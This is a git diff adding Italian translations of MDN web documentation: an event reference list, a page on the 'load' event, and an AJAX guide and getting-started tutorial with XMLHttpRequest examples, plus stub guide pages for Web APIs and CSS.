+<p><a href="/en-US/docs/Web/Reference/Events/MozEdgeUIGesture">MozEdgeUIGesture</a>, <a href="/en-US/docs/Web/Reference/Events/MozMagnifyGesture">MozMagnifyGesture</a>, <a href="/en-US/docs/Web/Reference/Events/MozMagnifyGestureStart">MozMagnifyGestureStart</a>, <a href="/en-US/docs/Web/Reference/Events/MozMagnifyGestureUpdate">MozMagnifyGestureUpdate</a>, <a href="/en-US/docs/Web/Reference/Events/MozPressTapGesture">MozPressTapGesture</a>, <a href="/en-US/docs/Web/Reference/Events/MozRotateGesture">MozRotateGesture</a>, <a href="/en-US/docs/Web/Reference/Events/MozRotateGestureStart">MozRotateGestureStart</a>, <a href="/en-US/docs/Web/Reference/Events/MozRotateGestureUpdate">MozRotateGestureUpdate</a>, <a href="/en-US/docs/Web/Reference/Events/MozSwipeGesture">MozSwipeGesture</a>, <a href="/en-US/docs/Web/Reference/Events/MozTapGesture">MozTapGesture</a>, <a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchDown</a>, <a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchMove</a>, <a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchUp</a>, {{event("touchcancel")}}, {{event("touchend")}}, {{event("touchenter")}}, {{event("touchleave")}}, {{event("touchmove")}}, {{event("touchstart")}}</p>
+
+<h3 id="Update_events">Update events</h3>
+
+<p>{{event("checking")}}, {{event("downloading")}}, {{event("error")}}, {{event("noupdate")}}, {{event("obsolete")}}, {{event("updateready")}}</p>
+
+<h3 id="Value_change_events">Value change events</h3>
+
+<p>{{event("broadcast")}}, {{event("CheckboxStateChange")}}, {{event("hashchange")}}, {{event("input")}}, {{event("RadioStateChange")}}, {{event("readystatechange")}}, {{event("ValueChange")}}</p>
+
+<h3 id="View_events">View events</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/fullscreen">fullscreen</a>, {{event("fullscreenchange")}}, {{event("fullscreenerror")}}, <a href="/en-US/docs/Web/Reference/Events/MozEnteredDomFullscreen">MozEnteredDomFullscreen</a>, {{event("MozScrolledAreaChanged")}}, {{event("resize")}}, {{event("scroll")}}, <a href="/en-US/docs/Web/Reference/Events/sizemodechange">sizemodechange</a></p>
+
+<h3 id="Websocket_events">Websocket events</h3>
+
+<p><code><a href="/en-US/docs/Web/Reference/Events/close_websocket">close</a></code>, {{event("error")}}, <code><a href="/en-US/docs/Web/Reference/Events/message_websocket">message</a></code>, <code><a href="/en-US/docs/Web/Reference/Events/open_websocket">open</a></code></p>
+
+<h3 id="Window_events">Window events</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/DOMWindowCreated">DOMWindowCreated</a>, <a href="/en-US/docs/Web/Reference/Events/DOMWindowClose">DOMWindowClose</a>, <a href="/en-US/docs/Web/Reference/Events/DOMTitleChanged">DOMTitleChanged</a>, <a href="/en-US/docs/Web/Reference/Events/MozBeforeResize">MozBeforeResize</a> {{obsolete_inline}}, <a href="/en-US/docs/Web/Reference/Events/SSWindowClosing">SSWindowClosing</a>, <a href="/en-US/docs/Web/Reference/Events/SSWindowStateReady">SSWindowStateReady</a>, <a href="/en-US/docs/Web/Reference/Events/SSWindowStateBusy">SSWindowStateBusy</a>, <a href="/en-US/docs/Web/Reference/Events/close_event">close</a></p>
+
+<h3 id="Uncategorized_events">Uncategorized events</h3>
+
+<p>{{event("beforeunload")}}, {{event("localized")}}, <code><a href="/en-US/docs/Web/Reference/Events/message_webworker">message</a></code>, <code><a href="/en-US/docs/Web/Reference/Events/message_webmessaging">message</a></code>, <code><a href="/en-US/docs/Web/Reference/Events/message_serversentevents">message</a></code>, <a href="/en-US/docs/Web/Reference/Events/MozAfterPaint">MozAfterPaint</a>, {{event("moztimechange")}}, <code><a href="/en-US/docs/Web/Reference/Events/open_serversentevents">open</a></code>, {{event("show")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Event")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/DOM/Events">Event developer guide</a></li>
+</ul>
diff --git a/files/it/web/events/load/index.html b/files/it/web/events/load/index.html
new file mode 100644
index 0000000000..2939f32c27
--- /dev/null
+++ b/files/it/web/events/load/index.html
@@ -0,0 +1,123 @@
+---
+title: load
+slug: Web/Events/load
+tags:
+  - CompatibilitàBrowser
+  - Evento
+translation_of: Web/API/Window/load_event
+---
+<p>L'evento <strong><code>load</code></strong> si attiva quando una risorsa e le sue risorse dipendenti hanno completato il caricamento.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 class="brush: html" id="Window">Window</h3>
+
+<pre class="brush: html">&lt;script&gt;
+  window.addEventListener("load", function(event) {
+    console.log("Tutte le risorse hanno terminato il caricamento!");
+  });
+&lt;/script&gt;</pre>
+
+<h3 class="brush: html" id="L'elemento_script">L'elemento <code>script</code></h3>
+
+<pre class="brush: html">&lt;script&gt;
+  var script = document.createElement("script");
+  script.addEventListener("load", function(event) {
+    console.log("Lo script ha terminato il caricamento e l'esecuzione");
+  });
+  script.src = "http://example.com/example.js";
+  script.async = true;
+  document.getElementsByTagName("script")[0].parentNode.appendChild(script);
+&lt;/script&gt;</pre>
+
+<h2 id="Info_generali">Info generali</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specifica</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-load">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interfaccia</dt>
+ <dd style="margin: 0 0 0 120px;">UIEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">Window, Document, Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Azione predefinita</dt>
+ <dd style="margin: 0 0 0 120px;">Nessuna.</dd>
+</dl>
+
+<h2 id="Proprietà">Proprietà</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Proprietà</th>
+   <th scope="col">Tipo</th>
+   <th scope="col">Descrizione</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><code>{{domxref("EventTarget")}}</code></td>
+   <td>Il target dell'evento (l'obiettivo più in alto nell'albero del DOM).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><code>{{domxref("DOMString")}}</code></td>
+   <td>Il tipo di evento.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><code>{{domxref("Boolean")}}</code></td>
+   <td>Se l'evento normalmente bolle o no.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><code>{{domxref("Boolean")}}</code></td>
+   <td>Se l'evento è cancellabile o meno.</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><code>{{domxref("WindowProxy")}}</code></td>
+   <td><code>{{domxref("Document.defaultView", "document.defaultView")}}</code> (<code>window</code> del documento)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('UI Events', '#event-type-load', 'load')}}</td>
+   <td>{{Spec2('UI Events')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'parsing.html#the-end:event-load', 'Load event')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Questo collega alla sezione nei passaggi che vengono eseguiti alla fine del caricamento di un documento. gli eventi di "caricamento" vengono attivati anche a molti elementi. E nota che ci sono molti punti nelle specifiche che fanno riferimento a cose che possono "<a href="https://html.spec.whatwg.org/multipage/parsing.html#delay-the-load-event">ritardare l'evento load</a>".</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Eventi_correlati">Eventi correlati</h2>
+
+<ul>
+ <li>{{event("DOMContentLoaded")}}</li>
+ <li>{{event("readystatechange")}}</li>
+ <li>{{event("beforeunload")}}</li>
+ <li>{{event("unload")}}</li>
+</ul>
diff --git a/files/it/web/guide/ajax/index.html b/files/it/web/guide/ajax/index.html
new file mode 100644
index 0000000000..5f8b87ee74
--- /dev/null
+++ b/files/it/web/guide/ajax/index.html
@@ -0,0 +1,57 @@
+---
+title: AJAX
+slug: Web/Guide/AJAX
+tags:
+  - AJAX
+  - Tutte_le_categorie
+translation_of: Web/Guide/AJAX
+---
+<p>
+</p>
+<div class="callout-box"><b><a href="it/AJAX/Iniziare">AJAX:Iniziare</a></b><br>Una introduzione ad AJAX.</div>
+<p><b>Asynchronous JavaScript and XML (AJAX)</b> non è di per sè una tecnologia, ma è un termine che descrive un "nuovo" approccio all'utilizzo di diverse tecnologie esistenti, compresi: <a href="it/HTML">HTML</a> o <a href="it/XHTML">XHTML</a>, <a href="it/CSS">CSS</a>, <a href="it/JavaScript">JavaScript</a>, <a href="it/DOM">DOM</a>, <a href="it/XML">XML</a>, <a href="it/XSLT">XSLT</a> e l'oggetto <a href="it/XMLHttpRequest">XMLHttpRequest</a>. Grazie all'utilizzo di queste tecnologie in combinazione con il modello AJAX, le applicazioni web possono eseguire aggiornamenti rapidi e incrementali dell'interfaccia utente senza ricaricare nel browser l'intera pagina. Questo rende l'applicazione più performante e più reattiva alle azioni dell'utente.<br>
+Il W3C ha pubblicato una <a class="external" href="http://www.w3.org/TR/2006/WD-XMLHttpRequest-20060405/">bozza</a> di standard per l'oggetto XMLHttpRequest.
+</p>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id="Documentazione"> Documentazione </h4>
+<dl><dt> <a href="it/AJAX/Iniziare">AJAX:Iniziare</a>
+</dt><dd> <small>Questo articolo spiega le fondamenta di AJAX e fornisce due semplici esempi per cominciare.</small>
+</dd></dl>
+<dl><dt> <a href="it/Compatibilit%c3%a0_di_AJAX">Compatibilità di AJAX</a>
+</dt><dd> <small>Quali browser supportano AJAX?</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.adaptivepath.com/publications/essays/archives/000385.php">Ajax: A New Approach to Web Applications</a> (EN)
+</dt><dd> <small>Jesse James Garrett, di <a class="external" href="http://www.adaptivepath.com">adaptive path</a>, ha scritto questa introduzione ad AJAX nel febbraio 2005.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.onlamp.com/pub/a/onlamp/2005/05/19/xmlhttprequest.html">A Simpler Ajax Path</a> (EN)
+</dt><dd> <small>"E' facile avvalersi dell'oggetto XMLHttpRequest per costruire un'applicazione web che si comporti come un'applicazione desktop utilizzando però strumenti come i web forms per ricevere input dagli utenti."</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.contentwithstyle.co.uk/Articles/38/fixing-the-back-button-and-enabling-bookmarking-for-ajax-apps">Fixing the Back Button and Enabling Bookmarking for AJAX Apps</a> (EN)
+</dt><dd> <small>Mike Stenhouse ha realizzato questo articolo che esamina nel dettaglio alcuni metodi che è possibile utilizzare per risolvere i problemi relativi al bottone "Indietro" e ai Bookmark nelle applicazioni AJAX.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://alexbosworth.backpackit.com/pub/67688">Ajax Mistakes</a> (EN)
+</dt><dd> <small>Alex Bosworth ha scritto questo articolo che evidenzia alcuni errori comuni degli sviluppatori AJAX.</small> </dd></dl>
+</td>
+<td>
+<h4 id="Strumenti">Strumenti</h4>
+<ul><li> <a class="external" href="http://www.ajaxprojects.com">Strumenti e Framework</a> </li><li> <a class="external" href="http://blog.monstuff.com/archives/000252.html">Strumento di debugging per AJAX</a>
+</li><li> <a class="external" href="http://www.osflash.org/doku.php?id=flashjs">Kit di integrazione Flash/AJAX</a>
+</li><li> <a class="external" href="http://www.hotajax.org">Hot!Ajax: many cool examples</a>
+</li></ul>
+<h4 id="Argomenti_correlati">Argomenti correlati</h4>
+<ul><li> <a href="it/HTML">HTML</a>
+</li><li> <a href="it/XHTML">XHTML</a>
+</li><li> <a href="it/CSS">CSS</a>
+</li><li> <a href="it/DOM">DOM</a>
+</li><li> <a href="it/JavaScript">JavaScript</a>
+</li><li> <a href="it/XML">XML</a>
+</li><li> <a href="it/XMLHttpRequest">XMLHttpRequest</a>
+</li><li> <a href="it/XSLT">XSLT</a>
+</li><li> <a href="it/DHTML">DHTML</a>
+</li></ul>
+</td>
+</tr>
+</tbody></table>
+<p><span>Interwiki Language Links</span>
+</p>{{ languages( { "ca": "ca/AJAX", "en": "en/AJAX", "es": "es/AJAX", "fr": "fr/AJAX", "ja": "ja/AJAX", "ko": "ko/AJAX", "nl": "nl/AJAX", "pl": "pl/AJAX", "pt": "pt/AJAX" } ) }}
diff --git a/files/it/web/guide/ajax/iniziare/index.html b/files/it/web/guide/ajax/iniziare/index.html
new file mode 100644
index 0000000000..f473f64d1e
--- /dev/null
+++ b/files/it/web/guide/ajax/iniziare/index.html
@@ -0,0 +1,252 @@
+---
+title: Iniziare
+slug: Web/Guide/AJAX/Iniziare
+tags:
+  - AJAX
+  - Tutte_le_categorie
+translation_of: Web/Guide/AJAX/Getting_Started
+---
+<p> </p>
+
+<p>Questo articolo spiega le fondamenta di AJAX e fornisce due semplici esempi per iniziare.</p>
+
+<h3 id="Cos.27.C3.A8_AJAX.3F" name="Cos.27.C3.A8_AJAX.3F">Cos'è AJAX?</h3>
+
+<p>AJAX (Asynchronous JavaScript and XML) è un termine coniato recentemente per descrivere due utili funzionalità che sono presenti nei browser da anni, ma che sono state sottovalutate dalla maggioranza degli sviluppatori web fino a quando, di recente, alcune applicazioni come Gmail, Google suggest e Google Maps le hanno portate in auge.</p>
+
+<p>Le funzionalità di cui stiamo parlando sono:</p>
+
+<ul>
+ <li>la possibilità di eseguire richieste al server senza ricaricare la pagina</li>
+ <li>la possibilità di interpretare e lavorare con i documenti XML</li>
+</ul>
+
+<h3 id="Passo_1_.E2.80.93_D.C3.AC_.22per_favore.22.2C_o_Come_fare_una_richiesta_HTTP" name="Passo_1_.E2.80.93_D.C3.AC_.22per_favore.22.2C_o_Come_fare_una_richiesta_HTTP">Passo 1 – Dì "per favore", o Come fare una richiesta HTTP</h3>
+
+<p>Per effettuare una richiesta HTTP al server utilizzando JavaScript, si utilizza un'istanza di una classe che fornisce detta funzionalità. Tale classe è stata introdotta originariamente in Internet Explorer come oggetto ActiveX e si chiamava <code>XMLHTTP</code>. Successivamente Mozilla, Safari e altri browser hanno implementato la classe <code>XMLHttpRequest</code>, che supporta gli stessi metodi e le stesse proprietà della classe di Microsoft.</p>
+
+<p>Il risultato è che per creare un'istanza (oggetto) da tale classe che funzioni sui diversi browser, occorre scrivere un codice simile al seguente:</p>
+
+<pre>if (window.XMLHttpRequest) { // Mozilla, Safari, ...
+    http_request = new XMLHttpRequest();
+} else if (window.ActiveXObject) { // IE
+    http_request = new ActiveXObject("Microsoft.XMLHTTP");
+}
+</pre>
+
+<p>(Per scopi illustrativi, il codice qui riportato è una versione leggermente semplificata del codice generalmente utilizzato per creare un'istanza XMLHTTP. Per un esempio più pratico, si veda il Passo 3 di questo articolo)</p>
+
+<p>Certe versioni di alcuni browser della famiglia Mozilla, non si comportano correttamente nel caso in cui la risposta del server non contiene un'intestazione HTTP <code>mime-type</code>. Per ovviare a questo problema, è possibile utilizzare un metodo aggiuntive per sovrascrivere l'header inviato dal server, nel caso non sia presente o non sia impostato a <code>text/xml</code>.</p>
+
+<pre>http_request = new XMLHttpRequest();
+http_request.overrideMimeType('text/xml');
+</pre>
+
+<p>Dopodichè occorre decidere cosa fare con la risposta inviata dal server. Quindi bisogna dire all'oggetto XMLHttpRequest quale funzione JavaScript elaborerà il codice XML. Questo si fa impostando la proprietà <code>onreadystatechange</code> dell'oggetto con il nome della funzione JavaScript, in questo modo:</p>
+
+<p><code>http_request.onreadystatechange = nomeFunzione;</code></p>
+
+<p>Si noti che non ci sono parentesi dopo il nome della funzione e non viene passato alcun parametro, perchè si sta semplicemente assegnando un riferimento alla funzione, non la si sta ancora chiamando. Inoltre, invece di passare il nome di una funzione, si potrebbe utilizzare la tecnica JavaScript di definire funzioni "al volo" e di definire le azioni che elaboreranno la risposta XML, in questo modo:</p>
+
+<pre>http_request.onreadystatechange = function(){
+    // azioni da eseguire...
+};
+</pre>
+
+<p>Dopo aver dichiarato ciò che accadrà quando si riceverà la risposta dal server, occorre inviare la richiesta. Bisogna chiamare i metodi <code>open()</code> e <code>send()</code> della classe che esegue le richieste, in questo modo:</p>
+
+<pre>http_request.open('GET', 'http://www.esempio.org/qualsiasi.file', true);
+http_request.send(null);
+</pre>
+
+<ul>
+ <li>Il primo parametro da passare a <code>open()</code> è il metodo che si desidera utilizzare per la richiesta HTTP: GET, POST, HEAD o qualsiasi altro metodo che si desideri utilizzare e sia supportato dal server. Il metodo deve essere scritto in lettere MAIUSCOLE, come specificato dallo standard HTTP; altrimenti alcuni browser (come Firefox) potrebbero non eseguire la richiesta. Per ulteriori informazioni sui possibili metodi da utilizzare si veda le: <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html">specifiche del W3C</a></li>
+ <li>Il secondo parametro è l'URL della pagina che si sta richiedendo. Per ragioni di sicurezza, non è possibile chiamare pagine che si trovino su un dominio differente da quello in cui si trova la pagina corrente. Bisogna anche assicurarsi di utilizzare esattamente lo stesso dominio in tutte le pagine o si avrà un errore di 'permission denied' quando si chiama il metodo <code>open()</code>. Un errore comune è quello di accedere al sito da &lt;tt&gt;dominio.org&lt;/tt&gt; e cercare poi di chiamare pagine che si trovano su &lt;tt&gt;www.dominio.org&lt;/tt&gt;</li>
+ <li>Il terzo parametro specifica se la richiesta deve essere asincrona. Se è impostato a <code>TRUE</code> (e di solito è così), la funzione JavaScript resterà in esecuzione anche prima dell'arrivo della risposta.</li>
+</ul>
+
+<p>Il parametro del metodo <code>send()</code> è costituito dai dati che si vogliono inviare al server se la richiesta è di tipo <code>POST</code>. I dati vengono passati sotto forma di querystring, così:</p>
+
+<p><code>nome1=valore1&amp;nome2=valore2&amp;ecc=ecc</code></p>
+
+<p>Si noti che se si desidera inviare i dati come <code>POST</code>, occorre modificare il tipo MIME della richiesta con la riga seguente:</p>
+
+<pre>http_request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
+</pre>
+
+<p>In caso contrario, il server ignorerà la richiesta.</p>
+
+<h3 id="Step_2_.E2.80.93_.22Via.21.22_o_Come_gestire_la_risposta_del_server" name="Step_2_.E2.80.93_.22Via.21.22_o_Come_gestire_la_risposta_del_server">Step 2 – "Via!" o Come gestire la risposta del server</h3>
+
+<p>Come si è detto, all'atto di inviare la richiesta, si è fornito il nome della funzione JavaScript che deve elaborare la risposta.</p>
+
+<p><code>http_request.onreadystatechange = nomeFunzione;</code></p>
+
+<p>Ma cosa dovrebbe fare questa funzione? Primo, la funzione deve controllare lo stato della richiesta. Se lo stato ha un valore di 4, significa che la risposta è stata ricevuta per intero e si può continuare l'elaborazione:</p>
+
+<p> </p>
+
+<pre>if (http_request.readyState == 4) {
+    // tutto a posto, la risposta è stata ricevuta
+} else {
+    // non sono ancora pronto
+}
+</pre>
+
+<p>Ecco la lista completa dei possibili valori di <code>readyState</code>:</p>
+
+<ul>
+ <li>0 (non inizializzato)</li>
+ <li>1 (sta caricando)</li>
+ <li>2 (già caricato)</li>
+ <li>3 (interattivo)</li>
+ <li>4 (completato)</li>
+</ul>
+
+<p>(<a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/readystate_1.asp">Fonte</a>) (1)</p>
+
+<p>Bisognerà poi controllare il codice di stato della risposta HTTP. Tutti i codici possibili sono elencati nel <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html">sito del W3C</a>. Per i nostri scopi, ci interessa soltanto il codice <code>200 OK</code>.</p>
+
+<pre>if (http_request.status == 200) {
+    // perfetto!
+} else {
+    // c'è stato un problema nella richiesta,
+    // per esempio un codice di errore 404 (Not Found)
+    // o 500 (Internal Server Error)
+}
+</pre>
+
+<p>Una volta controllati lo stato della richiesta e il codice di stato HTTP della risposta, sarà lo sviluppatore a decidere cosa desidera fare con i dati ricevuti dal server. Per accedere ad essi, vi sono due possibilità:</p>
+
+<ul>
+ <li><code>http_request.responseText</code> – restituisce la risposta sotto forma di stringa di testo</li>
+ <li><code>http_request.responseXML</code> – restituisce la risposta sotto forma di oggetto <code>XMLDocument</code> che si può navigare tramite le funzioni DOM.</li>
+</ul>
+
+<h3 id="Passo_3_-_.22Tutti_insieme_ora.21.22.2C_Un_semplice_esempio" name="Passo_3_-_.22Tutti_insieme_ora.21.22.2C_Un_semplice_esempio">Passo 3 - "Tutti insieme ora!", Un semplice esempio</h3>
+
+<p>Vediamo ora tutti gli elementi esaminati finora combinati insieme. Il seguente JavaScript richiede un documento HTML (<code>test.html</code>), che contiene il testo "Sono un test.", e farà un <code>alert()</code> coi contenuti di questo file.</p>
+
+<pre>&lt;script type="text/javascript" language="javascript"&gt;
+
+
+
+    function eseguiRichiesta(url) {
+
+        var http_request = false;
+
+        if (window.XMLHttpRequest) { // Mozilla, Safari,...
+            http_request = new XMLHttpRequest();
+            if (http_request.overrideMimeType) {
+                http_request.overrideMimeType('text/xml');
+                // Vedi note sotto
+            }
+        } else if (window.ActiveXObject) { // IE
+            try {
+                http_request = new ActiveXObject("Msxml2.XMLHTTP");
+            } catch (e) {
+                try {
+                    http_request = new ActiveXObject("Microsoft.XMLHTTP");
+                } catch (e) {}
+            }
+        }
+
+        if (!http_request) {
+            alert('Giving up :( Non riesco a creare una istanza XMLHTTP');
+            return false;
+        }
+        http_request.onreadystatechange = function() { alertContents(http_request); };
+        http_request.open('GET', url, true);
+        http_request.send(null);
+
+    }
+
+    function alertContents(http_request) {
+
+        if (http_request.readyState == 4) {
+            if (http_request.status == 200) {
+                alert(http_request.responseText);
+            } else {
+                alert('Si è verificato un problema con la richiesta');
+            }
+        }
+
+    }
+&lt;/script&gt;
+&lt;span
+    style="cursor: pointer; text-decoration: underline"
+    onclick="eseguiRichiesta('test.html')"&gt;
+        Fai una richiesta
+&lt;/span&gt;
+</pre>
+
+<p>In questo esempio:</p>
+
+<ul>
+ <li>L'utente clicca sul link "Fai una richiesta";</li>
+ <li>Viene chiamata la funzione <code>eseguiRichiesta()</code> con un parametro: il nome del file <code>test.html</code>, che si trova nella stessa directory;</li>
+ <li>Il browser esegue la richiesta e l'esecuzione passa a <code>alertContents()</code>;</li>
+ <li><code>alertContents()</code> controlla se l'esecuzione è stata ricevuta e se lo stato della risposta è OK: in caso affermativo chiama un <code>alert()</code> con i contenuti del file <code>test.html</code>.</li>
+</ul>
+
+<p>Si può provare questo esempio <a class="external" href="http://www.w3clubs.com/mozdev/httprequest_test.html">qui</a> e si può leggere il file "test.html" <a class="external" href="http://www.w3clubs.com/mozdev/test.html">qui</a>.</p>
+
+<p><b>Nota</b>: La riga di codice <code> http_request.overrideMimeType('text/xml');</code> causa degli errori nella Console JavaScript di Firefox 1.5 o superiore nel caso che la pagina chiamata non sia costituita da XML ben formato (come in questo caso). Questo comportamento è corretto ed è documentato qui: <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=311724" rel="freelink">https://bugzilla.mozilla.org/show_bug.cgi?id=311724</a> - l'articolo verrà rivisto per correggere questo errore.</p>
+
+<p><b>Nota 2</b>: se si invia una richiesta con una porzione di codice che restituisce XML e non un file XML statico, bisogna impostare alcune intestazioni nella risposta perchè la pagina funzioni anche su Internet Explorer. Se non si imposta l'intestazione <code>Content-Type: application/xml</code>, IE lancia un errore JavaScript 'Object Expected' appena si cerca di accedere a un elemento XML. Se non si imposta l'intestazione <code>Cache-Control: no-cache</code>, il browser registra la risposta nella cache e non rieseguirà più la richiesta, il che fa impazzire molti sviluppatori in fase di debugging.</p>
+
+<p><b>Nota 3</b>: se la variabile <code>http_request</code> è globale, se vi sono altre funzioni che chiamano <code>makeRequest()</code>, possono sovrasciversi a vicenda. Per evitare questo problema, occorre dichiarare questa variabile come locale e passarla alla funzione <code>alertContent()</code>.</p>
+
+<p><b>Nota 4</b>: nel registrare la funzione callback per <code>onreadystatechange</code> non è possibile passare alcun argomento:</p>
+
+<pre>http_request.onreadystatechange = function() { alertContents(http_request); };  //1 (richiesta simultanea)
+http_request.onreadystatechange = alertContents(http_request); //2 (non funziona)
+http_request.onreadystatechange = alertContents;  //3 (variabile globale)
+</pre>
+
+<p>Il metodo 1 permette di elaborare diverse richieste simultaneamente. Il metodo 2 non funziona. Il metodo 3 è da utilizzare se <code>http_request</code> è una variabile globale.</p>
+
+<h3 id="Passo_4_-_.22Gli_X-Files.22.2C_o_Elaborare_la_risposta_XML" name="Passo_4_-_.22Gli_X-Files.22.2C_o_Elaborare_la_risposta_XML">Passo 4 - "Gli X-Files", o Elaborare la risposta XML</h3>
+
+<p>Nell'esempio precedente, dopo che la risposta HTTP è stata ricevuta si è utilizzata la proprietà <code>reponseText</code> dell'oggetto richiesta, che conteneva i contenuti del file &lt;tt&gt;test.html&lt;/tt&gt;. Proveremo ora a utilizzare la proprietà <code>responseXML</code>.</p>
+
+<p>Prima di tutto, occorre creare un documento XML valido che verrà chiamato in seguito. Il documento (&lt;tt&gt;test.xml&lt;/tt&gt;) contiene quanto segue:</p>
+
+<pre>&lt;?xml version="1.0" ?&gt;
+&lt;root&gt;
+    Sono un test.
+&lt;/root&gt;
+</pre>
+
+<p>Nello script occorre cambiare soltanto la riga seguente:</p>
+
+<pre>...
+onclick="eseguiRichiesta('test.xml')"&gt;
+...
+</pre>
+
+<p>In <code>alertContents()</code>, bisogna poi sostituire la riga <code>alert(http_request.responseText);</code> con:</p>
+
+<pre>var xmldoc = http_request.responseXML;
+var root_node = xmldoc.getElementsByTagName('root').item(0);
+alert(root_node.firstChild.data);
+</pre>
+
+<p>Questo codice prende l'oggetto <code>XMLDocument</code> fornito da <code>responseXML</code> e utilizza i metodi DOM per accedere ai dati contenuti nel documento XML. Si può vedere <code>test.xml</code> <a class="external" href="http://www.w3clubs.com/mozdev/test.xml">qui</a>. Si può vedere in azione questa versione dello script <a class="external" href="http://www.w3clubs.com/mozdev/httprequest_test_xml.html">qui</a>.</p>
+
+<p>Per ulteriori dettagli sui metodi DOM, si vedano i documenti sull'<a class="external" href="http://www.mozilla.org/docs/dom/">Implementazione DOM di Mozilla</a>.</p>
+
+<hr>
+<p><small>La bozza di standard del W3C indica i seguenti valori per la proprietà <code>readystate</code>: </small></p>
+
+<ul>
+ <li>0 Non inizializzato: il valore iniziale</li>
+ <li>1 Aperto: il metodo open() è stato chiamato con successo</li>
+ <li>2 Inviato: il browser a completato la richiesta con successo, ma ancora non ha ricevuto alcun dato in risposta</li>
+ <li>3 Ricezione: immediatamente prima di ricevere il corpo del documento (se esiste). Tutte le intestazioni HTTP sono state ricevute (la bozza pone però un quesito: come comportarsi con le richieste di tipo HEAD?)</li>
+ <li>4 Caricato: il trasferimento dei dati è stato completato</li>
+</ul>
+
+<p><a class="external" href="http://www.w3.org/TR/2006/WD-XMLHttpRequest-20060405/#xmlhttprequest">Fonte</a></p>
+
+<p>{{ languages( { "ca": "ca/AJAX/Primers_passos", "de": "de/AJAX/Getting_Started", "en": "en/AJAX/Getting_Started", "es": "es/AJAX/Primeros_Pasos", "fr": "fr/AJAX/Premiers_pas", "ja": "ja/AJAX/Getting_Started", "pl": "pl/AJAX/Na_pocz\u0105tek", "pt": "pt/AJAX/Como_come\u00e7ar" } ) }}</p>
diff --git a/files/it/web/guide/api/index.html b/files/it/web/guide/api/index.html
new file mode 100644
index 0000000000..3f571c0cb8
--- /dev/null
+++ b/files/it/web/guide/api/index.html
@@ -0,0 +1,26 @@
+---
+title: Guide to Web APIs
+slug: Web/Guide/API
+tags:
+  - API
+  - Guide
+  - Landing
+  - NeedsTranslation
+  - TopicStub
+  - Web
+translation_of: Web/Guide/API
+---
+<p>Here you'll find links to each of the guides introducing and explaining each of the APIs that make up the Web development architecture.</p>
+
+
+<h2 id="Web_APIs_from_A_to_Z">Web APIs from A to Z</h2>
+
+<p>{{ListGroups}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API">Web API interface reference</a> (an index of all of the interfaces comprising all of these APIs)</li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model">Document Object Model</a> (DOM)</li>
+ <li><a href="/en-US/docs/Web/Events">Web API event reference</a></li>
+ <li><a href="/en-US/docs/Learn">Learning web development</a></li></ul>
diff --git a/files/it/web/guide/css/index.html b/files/it/web/guide/css/index.html
new file mode 100644
index 0000000000..20621b40b0
--- /dev/null
+++ b/files/it/web/guide/css/index.html
@@ -0,0 +1,23 @@
+---
+title: CSS developer guide
+slug: Web/Guide/CSS
+tags:
+  - CSS
+  - Guide
+  - Landing
+  - NeedsTranslation
+  - TopicStub
+translation_of: Learn/CSS
+---
+<p>{{draft}}</p>
+<p><span class="seoSummary">Cascading Style Sheets (CSS) is a stylesheet language used to describe the presentation of a document written in HTML</span> or other markup languages such as SVG<span class="seoSummary">. CSS describes how the structured elements in the document are to be rendered on screen, on paper, in speech, or on other media.</span> The ability to adjust the document's presentation depending on the output medium is a key feature of CSS.</p>
